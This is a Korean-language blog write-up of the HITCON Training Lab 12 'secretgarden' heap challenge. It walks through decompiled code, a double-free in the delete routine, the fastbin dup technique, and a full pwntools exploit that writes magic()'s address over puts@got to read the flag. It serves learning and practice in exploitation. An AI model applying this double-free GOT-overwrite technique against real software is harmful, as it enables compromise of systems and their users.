tmxklab

hitcon training [LAB 12] 본문

War Game/hitcon training

hitcon training [LAB 12]

tmxk4221 2020. 7. 27. 19:24

이번에는 Free된 Chunk를 검증하지 않아 Double Free Bug가 발생하게 되어 fastbin dup를 이용한 문제풀이를 하겠다. 

 


1. 문제

 

1) mitigation확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    switch ( (unsigned __int64)(unsigned int)atoi(&buf) )
    {
      case 1uLL:
        add();
        break;
      case 2uLL:
        visit();
        break;
      case 3uLL:
        del();
        break;
      case 4uLL:
        clean();
        break;
      case 5uLL:
        puts("See you next time.");
        exit(0);
        return;
      default:
        puts("Invalid choice");
        break;
    }
  }
}

 

3-2) add()

int add()
{
  size_t size; // [rsp+0h] [rbp-20h]
  void *s; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  s = 0LL;
  buf = 0LL;
  LODWORD(size) = 0;
  if ( (unsigned int)flowercount > 0x63 )
    return puts("The garden is overflow");
  s = malloc(0x28uLL);
  memset(s, 0, 0x28uLL);
  printf("Length of the name :");
  if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 )
    exit(-1);
  buf = malloc((unsigned int)size);
  if ( !buf )
  {
    puts("Alloca error !!");
    exit(-1);
  }
  printf("The name of flower :");
  read(0, buf, (unsigned int)size);
  *((_QWORD *)s + 1) = buf;
  printf("The color of the flower :");
  __isoc99_scanf("%23s", (char *)s + 16);
  *(_DWORD *)s = 1;
  for ( HIDWORD(size) = 0; HIDWORD(size) <= 0x63; ++HIDWORD(size) )
  {
    if ( !*(&flowerlist + HIDWORD(size)) )
    {
      *(&flowerlist + HIDWORD(size)) = s;
      break;
    }
  }
  ++flowercount;
  return puts("Successful !");
}
  • s변수에 0x28만큼 malloc요청을 한다.

  • size값을 받아 buf에 size만큼 malloc요청하고 buf에 size만큼 입력 값을 저장한다.

  • (DWORD)s에 1을 저장하고, (QWORD)s+1에 buf의 주소 값을 저장하고 (char*)s +16에 문자열을 저장한다.(color)

  • 마지막으로 flowerlist(전역변수) + HIDWORD(size)에 s의 주소 값을 저장하고 flowercount(전역변수)를 증가시킨다.

 

3-3) visit()

int visit()
{
  __int64 v0; // rax
  unsigned int i; // [rsp+Ch] [rbp-4h]

  LODWORD(v0) = flowercount;
  if ( flowercount )
  {
    for ( i = 0; i <= 0x63; ++i )
    {
      v0 = (__int64)*(&flowerlist + i);
      if ( v0 )
      {
        LODWORD(v0) = *(_DWORD *)*(&flowerlist + i);
        if ( (_DWORD)v0 )
        {
          printf("Name of the flower[%u] :%s\n", i, *((_QWORD *)*(&flowerlist + i) + 1));
          LODWORD(v0) = printf("Color of the flower[%u] :%s\n", i, (char *)*(&flowerlist + i) + 16);
        }
      }
    }
  }
  else
  {
    LODWORD(v0) = puts("No flower in the garden !");
  }
  return v0;
}
  • flowerlist에 담긴 flower에 대한 flower name, flower color를 출력해준다.

 

 

3-4) del()

int del()
{
  int result; // eax
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !flowercount )
    return puts("No flower in the garden");
  printf("Which flower do you want to remove from the garden:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0x63 && *(&flowerlist + v1) )
  {
    *(_DWORD *)*(&flowerlist + v1) = 0;
    free(*((void **)*(&flowerlist + v1) + 1));
    result = puts("Successful");
  }
  else
  {
    puts("Invalid choice");
    result = 0;
  }
  return result;
}
  • v1에 입력 값을 받아 flowerlist + v1에 0을 넣고 ((void **)(&flowerlist + v1) + 1)을 free시킨다. → 아까 add함수에서 flowerlist에 s의 주소 값을 넣었는데, (DWORD)s에는 각각 1이 저장되어 있다. 아마도 flower가 존재하는지 파악하는 flag값인 듯 그래서 이거를 0으로 세팅하고(없애니깐) flowerlist + v1에서 다시 +1을 하면 flower의 이름이 저장된 buf주소 값인데 이거를 free시킴

 

 

3-5) clean()

int clean()
{
  unsigned int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 0x63; ++i )
  {
    if ( *(&flowerlist + i) && !*(_DWORD *)*(&flowerlist + i) )
    {
      free(*(&flowerlist + i));
      *(&flowerlist + i) = 0LL;
      --flowercount;
    }
  }
  return puts("Done!");
}
  • del함수가 했었던 것과 동일하게 하지만 선택적으로 하는 것이 아니라 flowerlist에 존재하는 모든 것들을 0으로 세팅하고 free

 

3-6) magic()

void __noreturn magic()
{
  int fd; // [rsp+Ch] [rbp-74h]
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/babysecretgarden/flag", 0);
  read(fd, &buf, 0x64uLL);
  close(fd);
  printf("%s", &buf);
  exit(0);
}
  • 이번에도 magic함수가 주어졌다.

 

 

전역변수)

 


2. 접근방법

 

1) 취약점이 발생하는 곳

free된 Chunk에 대한 검증을 하지 않아 Double Free Bug가 발생

printf("Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x63 && *(&flowerlist + v1) )
{
  *(_DWORD *)*(&flowerlist + v1) = 0;
  free(*((void **)*(&flowerlist + v1) + 1));
  result = puts("Successful");
}
  • 위 코드는 del()에서 일부분 가져온 것이다.

  • *(_DWORD )(&flowerlist + v1)에 0을 넣은 후 flower name에 대한 값이 저장되어 있는 ((void **)(&flowerlist + v1) + 1)을 free시킨다.

  • 하지만, 이미 *(_DWORD )(&flowerlist + v1)이 0으로 세팅되어도 검증하는 부분이 없어 free된 chunk를 다시 free할 수 있다.

 

다음 디버깅을 통해 확인해보자

  • 현재 add()를 2번 호출하여 flower에 대한 정보를 담은 0x603000, 0x603460 chunk와 flower name에 대한 입력 값을 담은 0x603440, 0x603490 chunk가 존재한다.

  • 이후에 다시 0번, 1번인덱스 순으로 free하였으므로 flower name을 담은 0x603440, 0x603490이 free되었다.

  • fastbin[0]에 리스트가 생기며 fastbin이므로 bk는 존재하지 않는다.

  • 여기서 이제 한 번더 free를 할 것이다.(0번 또는 1번, 여기서는 0번 인덱스)

  • free된 chunk에 대한 검증이 이루어지지 않아 다시 free가 가능하며

  • free chunk A → free chunk B → free chunk A → ....

  • 위와 같이 fastbin에 반복된 배치 리스트가 생성된다.

 

2) fastbin dup(duplicate)

fastbin dup는 fastbin에 반복된 배치 리스트를 이용한 공격이며,fastbin dup을 이용하면 원하는 주소에 값을 쓸 수 있다.

(원하는 주소에 값을 작성하기 위해 fake chunk를 생성해야 함)

따라서, magic함수를 실행시키는 것이 목적이므로 여기서는 puts()의 got에 magic()의 주소 값을 작성하도록 한다.

 

3) 공격 프로세스

  • 동일한 크기의 Chunk 2개를 malloc한다.

  • 첫 번째 → 두 번째 → 첫 번째 순으로 free시킨다.

  • 동일한 크기의 Chunk 1개를 malloc한다.(Fake Chunk생성)

  • 동일한 크기의 Chunk 2개를 malloc한다.(그럼 위 사진에서 fastbin에 fake chunk만 존재)

  • fake chunk에 원하는 값을 작성한다.

이 때, fake chunk는 원하는 주소에 위치하도록 chunk의 구조에 잘 맞춰서 작성해야한다. (여기서는 puts@got이며 낮은 주소 방향으로 찾아야 한다. 왜냐하면 원하는 주소에 fake chunk가 될만한 값이 없을 수 있으니깐 낮은 주소 방향으로 찾은 다음 입력 값을 채울 때 높은 주소 방향으로 채워지므로 원하는 주소에 값을 작성할 수 있음)

 


3. 풀이

 

1) puts@got 및 fake chunk 찾기

  • puts@got : 0x602020

  • fake chunk address : 0x601ffa

  • prev_size : 0x0, size : 0x60(96)

  • fake chunk의 크기가 0x60(96)이므로 malloc 요청 시 동일한 사이즈를 요청해야 하므로 header크기 0x10(16)을 뺀 80을 요청해야 함

 

2) 익스 코드

from pwn import *

#context.log_level = "debug"

p = process("./secretgarden")
e = ELF("./secretgarden")
#gdb.attach(p)

magic_addr = e.symbols['magic']
fake_chunk = 0x601ffa

log.info("magic() addr :"+hex(magic_addr))

def add_flower(size, name, color):
	p.sendlineafter(":", str(1))
	p.sendlineafter(":", str(size))
	p.sendlineafter(":", name)
	p.sendlineafter(":", color)


def del_flower(idx):
	p.sendlineafter(":", str(3))
	p.sendlineafter(":", str(idx))


# 1. Creation 2 Chunk
add_flower(80, "f1", "r")
add_flower(80, "f2", "g")

# 2. Double Free
del_flower(0)
del_flower(1)
del_flower(0)

# 3. Creation Fake Chunk & write magic() at puts@got
add_flower(80, p64(fake_chunk), "r")
add_flower(80, "f1", "g")
add_flower(80, "f2", "b")
add_flower(80, "A"*14+p64(magic_addr)*2, "r")

p.interactive()

 

3) 실행결과

 


4. References

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 14]  (0) 2020.07.31
hitcon training [LAB 13]  (0) 2020.07.28
hitcon training [LAB 11]  (0) 2020.07.25
hitcon training [LAB 10]  (0) 2020.07.21
hitcon training [LAB 9]  (0) 2020.07.21
Comments